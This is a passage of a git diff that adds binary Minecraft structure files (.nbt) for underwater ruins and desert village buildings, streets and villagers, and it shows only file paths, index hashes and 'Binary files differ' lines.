a/src/data/minecraft/structures/underwater_ruin/big_cracked_1.nbt b/src/data/minecraft/structures/underwater_ruin/big_cracked_1.nbt new file mode 100644 index 00000000..216949f4 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_cracked_1.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/big_cracked_2.nbt b/src/data/minecraft/structures/underwater_ruin/big_cracked_2.nbt new file mode 100644 index 00000000..89324541 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_cracked_2.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/big_cracked_3.nbt b/src/data/minecraft/structures/underwater_ruin/big_cracked_3.nbt new file mode 100644 index 00000000..3e778b78 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_cracked_3.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/big_cracked_8.nbt b/src/data/minecraft/structures/underwater_ruin/big_cracked_8.nbt new file mode 100644 index 00000000..e0b67f6a Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_cracked_8.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/big_mossy_1.nbt b/src/data/minecraft/structures/underwater_ruin/big_mossy_1.nbt new file mode 100644 index 00000000..f1df360e Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_mossy_1.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/big_mossy_2.nbt b/src/data/minecraft/structures/underwater_ruin/big_mossy_2.nbt new file mode 100644 index 00000000..3a140361 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_mossy_2.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/big_mossy_3.nbt b/src/data/minecraft/structures/underwater_ruin/big_mossy_3.nbt new file mode 100644 index 00000000..9fec8cba Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_mossy_3.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/big_mossy_8.nbt b/src/data/minecraft/structures/underwater_ruin/big_mossy_8.nbt new file mode 100644 index 00000000..3095f131 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_mossy_8.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/big_warm_4.nbt b/src/data/minecraft/structures/underwater_ruin/big_warm_4.nbt new file mode 100644 index 00000000..48437bc5 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_warm_4.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/big_warm_5.nbt b/src/data/minecraft/structures/underwater_ruin/big_warm_5.nbt new file mode 100644 index 00000000..a43b74a4 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_warm_5.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/big_warm_6.nbt b/src/data/minecraft/structures/underwater_ruin/big_warm_6.nbt new file mode 100644 index 00000000..950b739e Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_warm_6.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/big_warm_7.nbt b/src/data/minecraft/structures/underwater_ruin/big_warm_7.nbt new file mode 100644 index 00000000..25c05dbd Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_warm_7.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/brick_1.nbt b/src/data/minecraft/structures/underwater_ruin/brick_1.nbt new file mode 100644 index 00000000..b334806b Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/brick_1.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/brick_2.nbt b/src/data/minecraft/structures/underwater_ruin/brick_2.nbt new file mode 100644 index 00000000..0c803997 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/brick_2.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/brick_3.nbt b/src/data/minecraft/structures/underwater_ruin/brick_3.nbt new file mode 100644 index 00000000..456bd588 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/brick_3.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/brick_4.nbt b/src/data/minecraft/structures/underwater_ruin/brick_4.nbt new file mode 100644 index 00000000..8aff547b Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/brick_4.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/brick_5.nbt b/src/data/minecraft/structures/underwater_ruin/brick_5.nbt new file mode 100644 index 00000000..d94f5e37 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/brick_5.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/brick_6.nbt b/src/data/minecraft/structures/underwater_ruin/brick_6.nbt new file mode 100644 index 00000000..67bda0f3 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/brick_6.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/brick_7.nbt b/src/data/minecraft/structures/underwater_ruin/brick_7.nbt new file mode 100644 index 00000000..20db20bb Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/brick_7.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/brick_8.nbt b/src/data/minecraft/structures/underwater_ruin/brick_8.nbt new file mode 100644 index 00000000..5c01a676 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/brick_8.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/cracked_1.nbt b/src/data/minecraft/structures/underwater_ruin/cracked_1.nbt new file mode 100644 index 00000000..2f2470e4 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/cracked_1.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/cracked_2.nbt b/src/data/minecraft/structures/underwater_ruin/cracked_2.nbt new file mode 100644 index 00000000..486242d4 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/cracked_2.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/cracked_3.nbt b/src/data/minecraft/structures/underwater_ruin/cracked_3.nbt new file mode 100644 index 00000000..89da5252 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/cracked_3.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/cracked_4.nbt b/src/data/minecraft/structures/underwater_ruin/cracked_4.nbt new file mode 100644 index 00000000..dcc1abad Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/cracked_4.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/cracked_5.nbt b/src/data/minecraft/structures/underwater_ruin/cracked_5.nbt new file mode 100644 index 00000000..3f2c1abb Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/cracked_5.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/cracked_6.nbt b/src/data/minecraft/structures/underwater_ruin/cracked_6.nbt new file mode 100644 index 00000000..e48b29cc Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/cracked_6.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/cracked_7.nbt b/src/data/minecraft/structures/underwater_ruin/cracked_7.nbt new file mode 100644 index 00000000..19c576e4 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/cracked_7.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/cracked_8.nbt b/src/data/minecraft/structures/underwater_ruin/cracked_8.nbt new file mode 100644 index 00000000..1292e8f0 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/cracked_8.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/mossy_1.nbt b/src/data/minecraft/structures/underwater_ruin/mossy_1.nbt new file mode 100644 index 00000000..cda30a9e Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/mossy_1.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/mossy_2.nbt b/src/data/minecraft/structures/underwater_ruin/mossy_2.nbt new file mode 100644 index 00000000..f355e264 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/mossy_2.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/mossy_3.nbt b/src/data/minecraft/structures/underwater_ruin/mossy_3.nbt new file mode 100644 index 00000000..9d3568ae Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/mossy_3.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/mossy_4.nbt b/src/data/minecraft/structures/underwater_ruin/mossy_4.nbt new file mode 100644 index 00000000..1509f785 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/mossy_4.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/mossy_5.nbt b/src/data/minecraft/structures/underwater_ruin/mossy_5.nbt new file mode 100644 index 00000000..70ed1f78 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/mossy_5.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/mossy_6.nbt b/src/data/minecraft/structures/underwater_ruin/mossy_6.nbt new file mode 100644 index 00000000..cf65aa93 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/mossy_6.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/mossy_7.nbt b/src/data/minecraft/structures/underwater_ruin/mossy_7.nbt new file mode 100644 index 00000000..72601f35 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/mossy_7.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/mossy_8.nbt b/src/data/minecraft/structures/underwater_ruin/mossy_8.nbt new file mode 100644 index 00000000..0ec4b71a Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/mossy_8.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/warm_1.nbt b/src/data/minecraft/structures/underwater_ruin/warm_1.nbt new file mode 100644 index 00000000..fa9b196b Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/warm_1.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/warm_2.nbt b/src/data/minecraft/structures/underwater_ruin/warm_2.nbt new file mode 100644 index 00000000..06d3c2de Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/warm_2.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/warm_3.nbt b/src/data/minecraft/structures/underwater_ruin/warm_3.nbt new file mode 100644 index 00000000..c269cd24 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/warm_3.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/warm_4.nbt b/src/data/minecraft/structures/underwater_ruin/warm_4.nbt new file mode 100644 index 00000000..0c4c6408 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/warm_4.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/warm_5.nbt b/src/data/minecraft/structures/underwater_ruin/warm_5.nbt new file mode 100644 index 00000000..6159779a Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/warm_5.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/warm_6.nbt b/src/data/minecraft/structures/underwater_ruin/warm_6.nbt new file mode 100644 index 00000000..7932cc92 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/warm_6.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/warm_7.nbt b/src/data/minecraft/structures/underwater_ruin/warm_7.nbt new file mode 100644 index 00000000..effd5283 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/warm_7.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/warm_8.nbt b/src/data/minecraft/structures/underwater_ruin/warm_8.nbt new file mode 100644 index 00000000..753d5200 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/warm_8.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/cat_black.nbt b/src/data/minecraft/structures/village/common/animals/cat_black.nbt new file mode 100644 index 00000000..f366ae49 Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/cat_black.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/cat_british.nbt b/src/data/minecraft/structures/village/common/animals/cat_british.nbt new file mode 100644 index 00000000..b767c6f1 Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/cat_british.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/cat_calico.nbt b/src/data/minecraft/structures/village/common/animals/cat_calico.nbt new file mode 100644 index 00000000..adc05813 Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/cat_calico.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/cat_jellie.nbt b/src/data/minecraft/structures/village/common/animals/cat_jellie.nbt new file mode 100644 index 00000000..a94067af Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/cat_jellie.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/cat_persian.nbt b/src/data/minecraft/structures/village/common/animals/cat_persian.nbt new file mode 100644 index 00000000..d4b0a6fd Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/cat_persian.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/cat_ragdoll.nbt b/src/data/minecraft/structures/village/common/animals/cat_ragdoll.nbt new file mode 100644 index 00000000..b2caf2bb Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/cat_ragdoll.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/cat_red.nbt b/src/data/minecraft/structures/village/common/animals/cat_red.nbt new file mode 100644 index 00000000..ca8ce734 Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/cat_red.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/cat_siamese.nbt b/src/data/minecraft/structures/village/common/animals/cat_siamese.nbt new file mode 100644 index 00000000..bdc2c8a9 Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/cat_siamese.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/cat_tabby.nbt b/src/data/minecraft/structures/village/common/animals/cat_tabby.nbt new file mode 100644 index 00000000..4f24b057 Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/cat_tabby.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/cat_white.nbt b/src/data/minecraft/structures/village/common/animals/cat_white.nbt new file mode 100644 index 00000000..bb85b973 Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/cat_white.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/cows_1.nbt b/src/data/minecraft/structures/village/common/animals/cows_1.nbt new file mode 100644 index 00000000..55654146 Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/cows_1.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/horses_1.nbt b/src/data/minecraft/structures/village/common/animals/horses_1.nbt new file mode 100644 index 00000000..a5bd0df1 Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/horses_1.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/horses_2.nbt b/src/data/minecraft/structures/village/common/animals/horses_2.nbt new file mode 100644 index 00000000..aef80c0d Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/horses_2.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/horses_3.nbt b/src/data/minecraft/structures/village/common/animals/horses_3.nbt new file mode 100644 index 00000000..78c6f438 Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/horses_3.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/horses_4.nbt b/src/data/minecraft/structures/village/common/animals/horses_4.nbt new file mode 100644 index 00000000..8a23e55f Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/horses_4.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/horses_5.nbt b/src/data/minecraft/structures/village/common/animals/horses_5.nbt new file mode 100644 index 00000000..57369d5e Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/horses_5.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/pigs_1.nbt b/src/data/minecraft/structures/village/common/animals/pigs_1.nbt new file mode 100644 index 00000000..b637ae4f Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/pigs_1.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/sheep_1.nbt b/src/data/minecraft/structures/village/common/animals/sheep_1.nbt new file mode 100644 index 00000000..037aed2a Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/sheep_1.nbt differ diff --git a/src/data/minecraft/structures/village/common/animals/sheep_2.nbt b/src/data/minecraft/structures/village/common/animals/sheep_2.nbt new file mode 100644 index 00000000..e9b06aea Binary files /dev/null and b/src/data/minecraft/structures/village/common/animals/sheep_2.nbt differ diff --git a/src/data/minecraft/structures/village/common/iron_golem.nbt b/src/data/minecraft/structures/village/common/iron_golem.nbt new file mode 100644 index 00000000..f5a0c0cf Binary files /dev/null and b/src/data/minecraft/structures/village/common/iron_golem.nbt differ diff --git a/src/data/minecraft/structures/village/common/well_bottom.nbt b/src/data/minecraft/structures/village/common/well_bottom.nbt new file mode 100644 index 00000000..aa121876 Binary files /dev/null and b/src/data/minecraft/structures/village/common/well_bottom.nbt differ diff --git a/src/data/minecraft/structures/village/decays/grass_11x13.nbt b/src/data/minecraft/structures/village/decays/grass_11x13.nbt new file mode 100644 index 00000000..ac990313 Binary files /dev/null and b/src/data/minecraft/structures/village/decays/grass_11x13.nbt differ diff --git a/src/data/minecraft/structures/village/decays/grass_16x16.nbt b/src/data/minecraft/structures/village/decays/grass_16x16.nbt new file mode 100644 index 00000000..0d68e3fe Binary files /dev/null and b/src/data/minecraft/structures/village/decays/grass_16x16.nbt differ diff --git a/src/data/minecraft/structures/village/decays/grass_9x9.nbt b/src/data/minecraft/structures/village/decays/grass_9x9.nbt new file mode 100644 index 00000000..047da8d0 Binary files /dev/null and b/src/data/minecraft/structures/village/decays/grass_9x9.nbt differ diff --git a/src/data/minecraft/structures/village/desert/desert_lamp_1.nbt b/src/data/minecraft/structures/village/desert/desert_lamp_1.nbt new file mode 100644 index 00000000..94a96473 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/desert_lamp_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_animal_pen_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_animal_pen_1.nbt new file mode 100644 index 00000000..76671902 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_animal_pen_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_animal_pen_2.nbt b/src/data/minecraft/structures/village/desert/houses/desert_animal_pen_2.nbt new file mode 100644 index 00000000..2c1226ee Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_animal_pen_2.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_armorer_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_armorer_1.nbt new file mode 100644 index 00000000..7419c561 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_armorer_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_butcher_shop_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_butcher_shop_1.nbt new file mode 100644 index 00000000..29be9e78 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_butcher_shop_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_cartographer_house_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_cartographer_house_1.nbt new file mode 100644 index 00000000..2a73cb16 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_cartographer_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_farm_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_farm_1.nbt new file mode 100644 index 00000000..35c406dc Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_farm_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_farm_2.nbt b/src/data/minecraft/structures/village/desert/houses/desert_farm_2.nbt new file mode 100644 index 00000000..6c0a0210 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_farm_2.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_fisher_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_fisher_1.nbt new file mode 100644 index 00000000..d86ed500 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_fisher_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_fletcher_house_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_fletcher_house_1.nbt new file mode 100644 index 00000000..20ac1f72 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_fletcher_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_large_farm_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_large_farm_1.nbt new file mode 100644 index 00000000..e014e157 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_large_farm_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_library_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_library_1.nbt new file mode 100644 index 00000000..cb57f0c1 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_library_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_mason_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_mason_1.nbt new file mode 100644 index 00000000..82cf63ee Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_mason_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_medium_house_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_medium_house_1.nbt new file mode 100644 index 00000000..6345c9ab Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_medium_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_medium_house_2.nbt b/src/data/minecraft/structures/village/desert/houses/desert_medium_house_2.nbt new file mode 100644 index 00000000..134ee22b Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_medium_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_shepherd_house_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_shepherd_house_1.nbt new file mode 100644 index 00000000..a598a018 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_shepherd_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_small_house_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_small_house_1.nbt new file mode 100644 index 00000000..35368417 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_small_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_small_house_2.nbt b/src/data/minecraft/structures/village/desert/houses/desert_small_house_2.nbt new file mode 100644 index 00000000..260e21e6 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_small_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_small_house_3.nbt b/src/data/minecraft/structures/village/desert/houses/desert_small_house_3.nbt new file mode 100644 index 00000000..f2a4ebe9 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_small_house_3.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_small_house_4.nbt b/src/data/minecraft/structures/village/desert/houses/desert_small_house_4.nbt new file mode 100644 index 00000000..ff91323b Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_small_house_4.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_small_house_5.nbt b/src/data/minecraft/structures/village/desert/houses/desert_small_house_5.nbt new file mode 100644 index 00000000..d63b0877 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_small_house_5.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_small_house_6.nbt b/src/data/minecraft/structures/village/desert/houses/desert_small_house_6.nbt new file mode 100644 index 00000000..c83c17bf Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_small_house_6.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_small_house_7.nbt b/src/data/minecraft/structures/village/desert/houses/desert_small_house_7.nbt new file mode 100644 index 00000000..98ef2844 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_small_house_7.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_small_house_8.nbt b/src/data/minecraft/structures/village/desert/houses/desert_small_house_8.nbt new file mode 100644 index 00000000..9b7093af Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_small_house_8.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_tannery_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_tannery_1.nbt new file mode 100644 index 00000000..a6a3a9bc Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_tannery_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_temple_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_temple_1.nbt new file mode 100644 index 00000000..562d4449 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_temple_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_temple_2.nbt b/src/data/minecraft/structures/village/desert/houses/desert_temple_2.nbt new file mode 100644 index 00000000..ed97fbe5 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_temple_2.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_tool_smith_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_tool_smith_1.nbt new file mode 100644 index 00000000..159b74f5 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_tool_smith_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/houses/desert_weaponsmith_1.nbt b/src/data/minecraft/structures/village/desert/houses/desert_weaponsmith_1.nbt new file mode 100644 index 00000000..66290bc1 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/houses/desert_weaponsmith_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/streets/corner_01.nbt b/src/data/minecraft/structures/village/desert/streets/corner_01.nbt new file mode 100644 index 00000000..1ea1d76b Binary files /dev/null and b/src/data/minecraft/structures/village/desert/streets/corner_01.nbt differ diff --git a/src/data/minecraft/structures/village/desert/streets/corner_02.nbt b/src/data/minecraft/structures/village/desert/streets/corner_02.nbt new file mode 100644 index 00000000..0e41444d Binary files /dev/null and b/src/data/minecraft/structures/village/desert/streets/corner_02.nbt differ diff --git a/src/data/minecraft/structures/village/desert/streets/crossroad_01.nbt b/src/data/minecraft/structures/village/desert/streets/crossroad_01.nbt new file mode 100644 index 00000000..387cc7dd Binary files /dev/null and b/src/data/minecraft/structures/village/desert/streets/crossroad_01.nbt differ diff --git a/src/data/minecraft/structures/village/desert/streets/crossroad_02.nbt b/src/data/minecraft/structures/village/desert/streets/crossroad_02.nbt new file mode 100644 index 00000000..f1003661 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/streets/crossroad_02.nbt differ diff --git a/src/data/minecraft/structures/village/desert/streets/crossroad_03.nbt b/src/data/minecraft/structures/village/desert/streets/crossroad_03.nbt new file mode 100644 index 00000000..ffb86028 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/streets/crossroad_03.nbt differ diff --git a/src/data/minecraft/structures/village/desert/streets/square_01.nbt b/src/data/minecraft/structures/village/desert/streets/square_01.nbt new file mode 100644 index 00000000..dacd3b4a Binary files /dev/null and b/src/data/minecraft/structures/village/desert/streets/square_01.nbt differ diff --git a/src/data/minecraft/structures/village/desert/streets/square_02.nbt b/src/data/minecraft/structures/village/desert/streets/square_02.nbt new file mode 100644 index 00000000..32dfdb3e Binary files /dev/null and b/src/data/minecraft/structures/village/desert/streets/square_02.nbt differ diff --git a/src/data/minecraft/structures/village/desert/streets/straight_01.nbt b/src/data/minecraft/structures/village/desert/streets/straight_01.nbt new file mode 100644 index 00000000..e854a9a9 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/streets/straight_01.nbt differ diff --git a/src/data/minecraft/structures/village/desert/streets/straight_02.nbt b/src/data/minecraft/structures/village/desert/streets/straight_02.nbt new file mode 100644 index 00000000..72d3063c Binary files /dev/null and b/src/data/minecraft/structures/village/desert/streets/straight_02.nbt differ diff --git a/src/data/minecraft/structures/village/desert/streets/straight_03.nbt b/src/data/minecraft/structures/village/desert/streets/straight_03.nbt new file mode 100644 index 00000000..c339dec1 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/streets/straight_03.nbt differ diff --git a/src/data/minecraft/structures/village/desert/streets/turn_01.nbt b/src/data/minecraft/structures/village/desert/streets/turn_01.nbt new file mode 100644 index 00000000..92661a99 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/streets/turn_01.nbt differ diff --git a/src/data/minecraft/structures/village/desert/terminators/terminator_01.nbt b/src/data/minecraft/structures/village/desert/terminators/terminator_01.nbt new file mode 100644 index 00000000..38f82431 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/terminators/terminator_01.nbt differ diff --git a/src/data/minecraft/structures/village/desert/terminators/terminator_02.nbt b/src/data/minecraft/structures/village/desert/terminators/terminator_02.nbt new file mode 100644 index 00000000..21f4f76d Binary files /dev/null and b/src/data/minecraft/structures/village/desert/terminators/terminator_02.nbt differ diff --git a/src/data/minecraft/structures/village/desert/town_centers/desert_meeting_point_1.nbt b/src/data/minecraft/structures/village/desert/town_centers/desert_meeting_point_1.nbt new file mode 100644 index 00000000..9a252d0c Binary files /dev/null and b/src/data/minecraft/structures/village/desert/town_centers/desert_meeting_point_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/town_centers/desert_meeting_point_2.nbt b/src/data/minecraft/structures/village/desert/town_centers/desert_meeting_point_2.nbt new file mode 100644 index 00000000..d0cd9977 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/town_centers/desert_meeting_point_2.nbt differ diff --git a/src/data/minecraft/structures/village/desert/town_centers/desert_meeting_point_3.nbt b/src/data/minecraft/structures/village/desert/town_centers/desert_meeting_point_3.nbt new file mode 100644 index 00000000..50bb457a Binary files /dev/null and b/src/data/minecraft/structures/village/desert/town_centers/desert_meeting_point_3.nbt differ diff --git a/src/data/minecraft/structures/village/desert/villagers/baby.nbt b/src/data/minecraft/structures/village/desert/villagers/baby.nbt new file mode 100644 index 00000000..27a52374 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/villagers/baby.nbt differ diff --git a/src/data/minecraft/structures/village/desert/villagers/nitwit.nbt 